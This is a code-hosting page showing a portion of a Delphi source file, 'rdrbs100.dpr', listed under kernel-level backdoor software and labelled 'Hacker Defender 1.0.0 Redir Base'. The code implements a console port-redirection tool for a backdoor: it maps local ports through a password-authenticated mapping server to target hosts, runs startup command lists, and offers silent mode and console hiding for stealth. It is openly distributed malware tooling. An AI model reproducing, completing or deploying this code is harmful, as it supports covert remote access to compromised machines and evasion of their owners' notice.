⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rdrbs100.dpr

📁 内核级后门软件
💻 DPR
📖 第 1 页 / 共 4 页
字号:
   TargetServerPort:=StrToIntDef(LStr1);
   LStr1:=Copy(AArgs,1,Pos(' ',AArgs)-1);
   AArgs:=Copy(AArgs,Pos(' ',AArgs)+1,MaxInt);
   FillChar(LAuthPass,SizeOf(LAuthPass),$20);
   if Length(LStr1)>16 then SetLength(LStr1,16);
   CopyMemory(@LAuthPass,Pointer(LStr1),Length(LStr1));
   CopyMemory(@Password,@LAuthPass,SizeOf(Password));
   AuthNum:=AuthStrToNum(@LAuthPass);
   LStr1:=Copy(AArgs,1,Pos(' ',AArgs)-1);
   AArgs:=Copy(AArgs,Pos(' ',AArgs)+1,MaxInt);
   if Length(LStr1)=0 then
   begin
    PortType:=ptNormal;
    Domain:='';
   end else
   begin
    if UpCase(LStr1)='NORMAL' then PortType:=ptNormal
    else if UpCase(LStr1)='HTTP' then PortType:=ptHTTP
    else PortType:=ptUnknown;
    LStr1:=AArgs;
    if PortType=ptHTTP then Domain:=Trim(LStr1)
    else Domain:='';
   end;
   Result:=not ((LocalListenPort=0) or (MappingServerPort=0) or (TargetServerPort=0)
          or (MappingServer.S_addr=INADDR_NONE) or (TargetServer.S_addr=INADDR_NONE)
          or (PortType=ptUnknown));
   if not Result then WriteLn('invalid or missing argument(s)');
  end;
 end;
end;

function FindCommandIndex(ACommand:string):Integer;
var
 LI:Integer;
begin
 Result:=0;
 ACommand:=UpCase(ACommand);
 for LI:=1 to CommandsCount do
  if ACommand=CommandList[LI].Name then
  begin
   Result:=LI;
   Break;
  end;
end;

procedure ProcessInput(ACommand:string);
var
 LCommand,LArgs,LStr1,LStr2:string;
 LIndex,LNum,LMin,LMax:Integer;
 LMappedPort:TMappedPort;
 LFailed:Boolean;
 LPMappedPort:PMappedPort;
 LPStartupItem:PStartupItem;
begin
 LCommand:=Trim(ACommand)+' ';
 LArgs:=Trim(Copy(LCommand,Pos(' ',LCommand)+1,MaxInt));
 LCommand:=Copy(LCommand,1,Pos(' ',LCommand)-1);
 LCommand:=UpCase(LCommand);
 if Length(LCommand)=0 then Exit;
 LIndex:=FindCommandIndex(LCommand);
 case LIndex of
  0:WriteLn('Unknown command. Type HELP for command list.');
  1:begin
   if Length(LArgs)=0 then
   begin
    WriteLn('Type HELP COMMAND for command details.');
    WriteLn('Valid commands are:');
    for LIndex:=1 to 12 do Write(CommandList[LIndex].Name+', ');
    WriteLn('');
    for LIndex:=13 to CommandsCount-1 do Write(CommandList[LIndex].Name+', ');
    WriteLn(CommandList[CommandsCount].Name);
   end else
   begin
    LArgs:=UpCase(LArgs);
    LIndex:=FindCommandIndex(LArgs);
    if LIndex<>0 then
    begin
     WriteLn(CommandList[LIndex].Info);
     WriteLn('usage: '+CommandList[LIndex].Name+CommandList[LIndex].Usage);
    end else WriteLn('Unknown command. Type HELP for command list.');
   end;
  end;
  2:begin
   LArgs:=UpCase(LArgs);
   if LArgs<>'DIS' then SaveIniFile;
   PostMessage(WindowHandle,WM_TRAY_END,0,0);
  end;
  3:begin
   ZeroMemory(@ConsoleScreenBuffer,SizeOf(ConsoleScreenBuffer));
   WriteConsoleOutput(OutputHandle,@ConsoleScreenBuffer,FirstCoords,SecondCoords,FirstRect);
   ConsoleScreenBufferInfo.dwCursorPosition:=SecondCoords;
   SetConsoleCursorPosition(OutputHandle,ConsoleScreenBufferInfo.dwCursorPosition);
  end;
  4:if SaveIniFile then WriteLn('Saved successfully.')
    else WriteLn('Unable to save.');
  5:if MappedPorts.Count>0 then
  begin
   LNum:=StrToIntDef(LArgs);
   if LNum<1 then LNum:=MappedPorts.Count
   else LNum:=LNum*24;
   LMin:=LNum-24;
   if LMin<0 then LMin:=0;
   LMax:=LNum-1;
   if LMax>=MappedPorts.Count then LMax:=MappedPorts.Count-1;
   if LMin<=LMax then
   begin
    for LIndex:=LMin to LMax do
    begin
     LPMappedPort:=MappedPorts[LIndex];
     with LPMappedPort^ do
     begin
      case PortType of
       ptUnknown:LStr2:='';
       ptNormal:LStr2:='NORMAL';
       ptHTTP:LStr2:='HTTP';
      end;
      LStr1:=IntToStrLen(LIndex,3)+') :'+IntToStr(LocalListenPort)+':'+inet_ntoa(MappingServer)+':'+IntToStr(MappingServerPort)+':'+inet_ntoa(TargetServer)+':'+IntToStr(TargetServerPort)+':'+Trim(Password)+':'+LStr2;
      if Opened then LStr1[5]:='*';
      WriteLn(LStr1);
     end;
    end;
   end else WriteLn('Only '+IntToStr(MappedPorts.Count div 24+1)+' page(s) available.');
  end else WriteLn('No mapped ports in the list.');
  6:if Length(LArgs)>0 then
  begin
   if MappedPorts.Count>0 then
   begin
    if UpCase(LArgs)='ALL' then OpenMappedPort(-1)
    else begin
     LIndex:=StrToIntDef(LArgs,-1);
     if (LIndex>=0) and (LIndex<MappedPorts.Count) then
     begin
      LPMappedPort:=MappedPorts[LIndex];
      if not LPMappedPort^.Opened then OpenMappedPort(LIndex)
      else WriteLn('Port is not closed.');
     end else WriteLn('Only 0 - '+IntToStr(MappedPorts.Count-1)+' port index(es) available.');
    end;
   end else WriteLn('No mapped ports in the list.');
  end else WriteLn('missing argument');
  7:if Length(LArgs)>0 then
  begin
   if MappedPorts.Count>0 then
   begin
    if UpCase(LArgs)='ALL' then CloseMappedPort(-1)
    else begin
     LIndex:=StrToIntDef(LArgs,-1);
     if (LIndex>=0) and (LIndex<MappedPorts.Count) then
     begin
      LPMappedPort:=MappedPorts[LIndex];
      if LPMappedPort^.Opened then CloseMappedPort(LIndex)
      else WriteLn('Port is not opened.');
     end else WriteLn('Only 0 - '+IntToStr(MappedPorts.Count-1)+' port index(es) available.');
    end;
   end else WriteLn('No mapped ports in the list.');
  end else WriteLn('missing argument');
  8:begin
   if WindowsType=wtNT then
   begin
    Write('Hiding console ...');
    PostMessage(WindowHandle,WM_HIDECONSOLE,0,0);
   end else WriteLn('This feature works only on NT boxes.'); 
  end;
  9:if MappedPorts.Count>0 then
  begin
   Write('There are '+IntToStr(MappedPorts.Count)+' mapped ports in the list. Currently ');
   LNum:=0;
   for LIndex:=0 to MappedPorts.Count-1 do
   begin
    LPMappedPort:=MappedPorts[LIndex];
    if LPMappedPort^.Opened then Inc(LNum);
   end;
   WriteLn(IntToStr(LNum)+' of them open.');
  end else WriteLn('No mapped ports in the list.');
  10:with LMappedPort do
  if MappedPorts.Count<MaxMappedPorts then
  begin
   LFailed:=not MappedPortsListAdd(LArgs,LMappedPort);
   if not LFailed then
   begin
    New(LPMappedPort);
    LPMappedPort^:=LMappedPort;
    MappedPorts.Add(LPMappedPort);
   end;
  end else WriteLn('You can''t use more than '+IntToStr(MaxMappedPorts)+' ports.');
  11:if Length(LArgs)>0 then
  begin
   if MappedPorts.Count>0 then
   begin
    LIndex:=StrToIntDef(LArgs,-1);
    if (LIndex>=0) and (LIndex<MappedPorts.Count) then
    begin
     LPMappedPort:=MappedPorts[LIndex];
     if not LPMappedPort^.Opened then
     begin
      Dispose(LPMappedPort);
      MappedPorts.Delete(LIndex);
     end else WriteLn('You can''t delete opened port.');
    end else WriteLn('Only 0 - '+IntToStr(MappedPorts.Count-1)+' port index(es) available.');
   end else WriteLn('No mapped ports in the list.');
  end else WriteLn('missing argument');
  12:if Length(LArgs)>0 then
  begin
   if MappedPorts.Count>0 then
   begin
    LIndex:=StrToIntDef(LArgs,-1);
    if (LIndex>=0) and (LIndex<MappedPorts.Count) then
    begin
     LPMappedPort:=MappedPorts[LIndex];
     with LPMappedPort^ do
     begin
      WriteLn('Listening on port: '+IntToStr(LocalListenPort));
      WriteLn('Mapping server address: '+inet_ntoa(MappingServer));
      WriteLn('Mapping server port: '+IntToStr(MappingServerPort));
      WriteLn('Target server address: '+inet_ntoa(TargetServer));
      WriteLn('Target server port: '+IntToStr(TargetServerPort));
      WriteLn('Password: '+Trim(Password));
      Write('Port type: ');
      case PortType of
       ptNormal:WriteLn('NORMAL');
       ptHTTP:begin
        WriteLn('HTTP');
        WriteLn('Domain name for HTTP Host: '+Domain);
       end;
       else WriteLn('Unknown');
      end;
      Write('Current state: ');
      if Opened then WriteLn('OPENED')
      else WriteLn('CLOSED');
     end;
    end else WriteLn('Only 0 - '+IntToStr(MappedPorts.Count-1)+' port index(es) available.');
   end else WriteLn('No mapped ports in the list.');
  end else WriteLn('missing argument');
  13:if StartupList.Count>0 then
  begin
   LNum:=StrToIntDef(LArgs);
   if LNum<1 then LNum:=StartupList.Count
   else LNum:=LNum*24;
   LMin:=LNum-24;
   if LMin<0 then LMin:=0;
   LMax:=LNum-1;
   if LMax>=StartupList.Count then LMax:=StartupList.Count-1;
   if LMin<=LMax then
   begin
    for LIndex:=LMin to LMax do
    begin
     LPStartupItem:=StartupList[LIndex];
     LStr1:=Trim(LPStartupItem^);
     WriteLn(IntToStr(LIndex)+') '+LStr1);
    end;
   end else WriteLn('Only '+IntToStr(MappedPorts.Count div 24+1)+' page(s) available.');
  end else WriteLn('No startup commands in the list.');
  14:if Length(LArgs)>0 then
  begin
   New(LPStartupItem);
   ZeroMemory(LPStartupItem,SizeOf(TStartupItem));
   CopyMemory(LPStartupItem,Pointer(LArgs),Length(LArgs));
   StartupList.Add(LPStartupItem);
  end else WriteLn('missing argument');
  15:if Length(LArgs)>0 then
  begin
   if StartupList.Count>0 then
   begin
    LIndex:=StrToIntDef(LArgs,-1);
    if (LIndex>=0) and (LIndex<StartupList.Count) then
    begin
     LPStartupItem:=StartupList[LIndex];
     Dispose(LPStartupItem);
     StartupList.Delete(LIndex);
    end else WriteLn('Only 0 - '+IntToStr(StartupList.Count-1)+' startup command index(es) available.');
   end else WriteLn('No startup commands in the list.');
  end else WriteLn('missing argument');
  16:if Length(LArgs)=0 then
  begin
   Write('Silent mode is ');
   if Settings.SilentMode then WriteLn('enabled')
   else WriteLn('disabled');
  end else
  begin
   LArgs:=UpCase(LArgs);
   if LArgs='ON' then Settings.SilentMode:=True
   else if LArgs='OFF' then Settings.SilentMode:=False;
   Write('Silent mode is ');
   if Settings.SilentMode then WriteLn('enabled')
   else WriteLn('disabled');
  end;
  17:if Length(LArgs)>0 then
  begin;
   if MappedPorts.Count>0 then
   begin
    LIndex:=StrToIntDef(LArgs,-1);
    if (LIndex>=0) and (LIndex<MappedPorts.Count) then
    begin
     LPMappedPort:=MappedPorts[LIndex];
     if not LPMappedPort^.Opened then
     begin
      if MappedPortsListAdd('',LMappedPort) then LPMappedPort^:=LMappedPort;
     end else WriteLn('You can''t change opened port.'); 
    end else WriteLn('Only 0 - '+IntToStr(MappedPorts.Count-1)+' port index(es) available.');
   end else WriteLn('No mapped ports in the list.');
  end else WriteLn('missing argument');
  18:if Length(LArgs)>0 then
  begin;
   if StartupList.Count>0 then
   begin
    LIndex:=StrToIntDef(LArgs,-1);
    if (LIndex>=0) and (LIndex<StartupList.Count) then
    begin
     LPStartupItem:=StartupList[LIndex];
     Write('New value: ');
     ReadLn(LStr1);
     LStr1:=Trim(LStr1);
     if Length(LStr1)>0 then
     begin
      if Length(LStr1)>=SizeOf(TStartupItem) then SetLength(LStr1,SizeOf(TStartupItem)-1);
      ZeroMemory(LPStartupItem,SizeOf(TStartupItem));
      CopyMemory(LPStartupItem,Pointer(LStr1),Length(LStr1));
     end else WriteLn('This value is invalid.');
    end else WriteLn('Only 0 - '+IntToStr(StartupList.Count-1)+' startup command index(es) available.');
   end else WriteLn('No startup commands in the list.');
  end else WriteLn('missing argument');
  19:if Length(LArgs)>0 then
  begin
   if MappedPorts.Count>0 then
   begin
    if UpCase(LArgs)='ALL' then
    begin
     for LIndex:=0 to MappedPorts.Count-1 do
     begin
      LPMappedPort:=MappedPorts[LIndex];
      with LPMappedPort^ do
      begin
       Write('Testing '+IntToStr(LIndex)+') '+inet_ntoa(MappingServer)+':'+IntToStr(MappingServerPort)+':'+Trim(Password)+' - ');
       if TestMappingServer(MappingServer,MappingServerPort,AuthNum) then WriteLn('OK')
       else WriteLn('FAILED');
      end; 
     end;
    end else
    begin
     LIndex:=StrToIntDef(LArgs,-1);
     if (LIndex>=0) and (LIndex<MappedPorts.Count) then
     begin
      LPMappedPort:=MappedPorts[LIndex];
      with LPMappedPort^ do
      begin
       Write('Testing '+IntToStr(LIndex)+') '+inet_ntoa(MappingServer)+':'+IntToStr(MappingServerPort)+':'+Trim(Password)+' - ');
       if TestMappingServer(MappingServer,MappingServerPort,AuthNum) then WriteLn('OK')
       else WriteLn('FAILED');
      end;
     end else WriteLn('Only 0 - '+IntToStr(MappedPorts.Count-1)+' port index(es) available.');
    end;
   end else WriteLn('No mapped ports in the list.');
  end else WriteLn('missing argument');
 end;
end;

procedure ReadConsoleCommands(AArgs:Pointer); stdcall;
var
 LCommand:string;
begin
 ReadThreadExists:=True;
 while AppRun do
 begin
  Write('>');
  ReadThreadSuspened:=False;
  ReadLn(LCommand);
  ProcessInput(LCommand);
 end;
end;

procedure DoubleClick;
begin
 if IsConsole then
 begin
  WriteLn('');
  Write('Hiding console ...');
  HideConsole;
 end else ShowConsole;
end;

function WindowProc(AHwnd:THandle;AMsg:Cardinal;AwParam:WPARAM;AlParam:LPARAM):Cardinal;stdcall; 
begin
 Result:=1;
 case AMsg of
  WM_QUIT:PostMessage(WindowHandle,WM_TRAY_END,0,0);
  WM_TRAYNOTIFY:case AlParam of
   WM_LBUTTONDBLCLK:DoubleClick;
  end;
  WM_HIDECONSOLE:HideConsole;
  else Result:=DefWindowProc(AHwnd,AMsg,AwParam,AlParam);
 end;
end;

function CreateWin:Boolean;
begin
 Result:=False;
 with WindowClass do
 begin
  style:=0;
  lpfnWndProc:=@WindowProc;
  cbClsExtra:=0;
  cbWndExtra:=0;
  hInstance:=SysInit.HInstance;
  hIcon:=0;
  hCursor:=0;
  hbrBackground:=0;
  lpszMenuName:=nil;
  lpszClassName:=WindowClassName;
 end;
 if Windows.RegisterClass(WindowClass)=0 then Exit;
 if (FindWindow(WindowClass.lpszClassName,'')<>0) then Exit;
 WindowHandle:=CreateWindow(WindowClassName,nil,0,-100,-100,0,0,0,0,0,nil);
 Result:=WindowHandle<>0;
end;

procedure DestroyWin;
begin
 AppRun:=False;
 if IsConsole then HideConsole;
 DestroyWindow(WindowHandle);
 UnRegisterClass(WindowClassName,SysInit.HInstance);
 Shell_NotifyIcon(NIM_DELETE,@NotifyIconData);
end;

procedure CreateMappedPorts;
var
 LTID:Cardinal;
 LPStartupItem:PStartupItem;
 LLine:string;
 LI:Integer;
begin
 ShowConsole;
 if not IniLoaded then
 begin
  WriteLn('Corrupted inifile! Delete it or fix it and than restart this application.');
  Sleep(2000);
  PostMessage(WindowHandle,WM_TRAY_END,0,0);
  Exit;
 end;
 WriteLn('Processing startup...');
 for LI:=0 to StartupList.Count-1 do
 begin
  LPStartupItem:=StartupList[LI];
  LLine:=LPStartupItem^;
  ProcessInput(LLine);
 end;
 ReadThreadHandle:=CreateThread(nil,0,@ReadConsoleCommands,nil,0,LTID);
end;

procedure AppEnd;
begin
 DestroyWin;
 KillMappedPorts;
 KillStartupList;
end;

function GetWindowsVersion:TWindowsVersion;
var
 VerInfo:TOSVersionInfo;
begin
 VerInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
 GetVersionEx(VerInfo);
 if VerInfo.dwMajorVersion>=5 then
 begin
  if VerInfo.dwMinorVersion>=1 then Result:=wvWindowsXP
  else Result:=wvWindows2000;
 end else
 begin
  if VerInfo.dwMajorVersion>3 then
  begin
   if VerInfo.dwPlatformId=VER_PLATFORM_WIN32_NT then Result:=wvWindowsNT40
   else begin
    VerInfo.dwBuildNumber:=VerInfo.dwBuildNumber and $FFFF;
    if VerInfo.dwMinorVersion>=90 then Result:=wvWindowsMe
    else begin
     if VerInfo.dwMinorVersion>=10 then
     begin
      if VerInfo.dwBuildNumber>=2222 then Result:=wvWindows98SE
      else Result:=wvWindows98;
     end else
     begin
      if VerInfo.dwBuildNumber>=1000 then Result:=wvWindows95OSR2
      else Result:=wvWindows95;
     end;
    end;
   end;
  end else Result:=wvWin32s;
 end;
end;


begin
 WindowsVersion:=GetWindowsVersion;
 case WindowsVersion of
  wvWin32s:WindowsType:=wtWin32s;
  wvWindowsNT40,wvWindows2000,wvWindowsXP:WindowsType:=wtNT;
  wvWindows95,wvWindows95OSR2,wvWindows98,wvWindows98SE,wvWindowsMe:WindowsType:=wtWxx;
 end;
 if WindowsType=wtNT then IsConsole:=not FreeConsole
 else IsConsole:=True;

 WSAStartup(WINSOCK_VERSION,WSAData);
 AppRun:=True;
 MappedPorts:=nil;
 StartupList:=nil;
// IsConsole:=False;
 ReadThreadExists:=False;
 ReadThreadSuspened:=False;
 FirstCoords.X:=80;
 FirstCoords.Y:=25;
 SecondCoords.X:=0;
 SecondCoords.Y:=0;
 with FirstRect do
 begin
  Left:=0;
  Top:=0;
  Right:=79;
  Bottom:=24;
 end;

 IniLoaded:=LoadIniFile;
 if not CreateWin then Exit;
 if WindowsType=wtNT then
 begin
  if not SilentNow then
  begin
   Icon:=LoadIcon(HInstance,'MAINICON');
   NotifyIconData.cbSize:=SizeOf(NotifyIconData);
   NotifyIconData.Wnd:=WindowHandle;
   NotifyIconData.uID:=0;
   NotifyIconData.uFlags:=NIF_ICON or NIF_MESSAGE or NIF_TIP;
   NotifyIconData.hIcon:=Icon;
   NotifyIconData.uCallbackMessage:=WM_TRAYNOTIFY;
   NotifyIconData.szTip:='Hacker Defender 1.0.0 Redir Base';
   Shell_NotifyIcon(NIM_ADD,@NotifyIconData);
  end;
 end;
 CreateMappedPorts;
 while GetMessage(Msg,WindowHandle,1,WM_MAX) do
  if Msg.message=WM_TRAY_END then
  begin
   AppEnd;
   Break;
  end else WindowProc(Msg.hwnd,Msg.message,Msg.wParam,Msg.lParam);
 WSACleanup;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -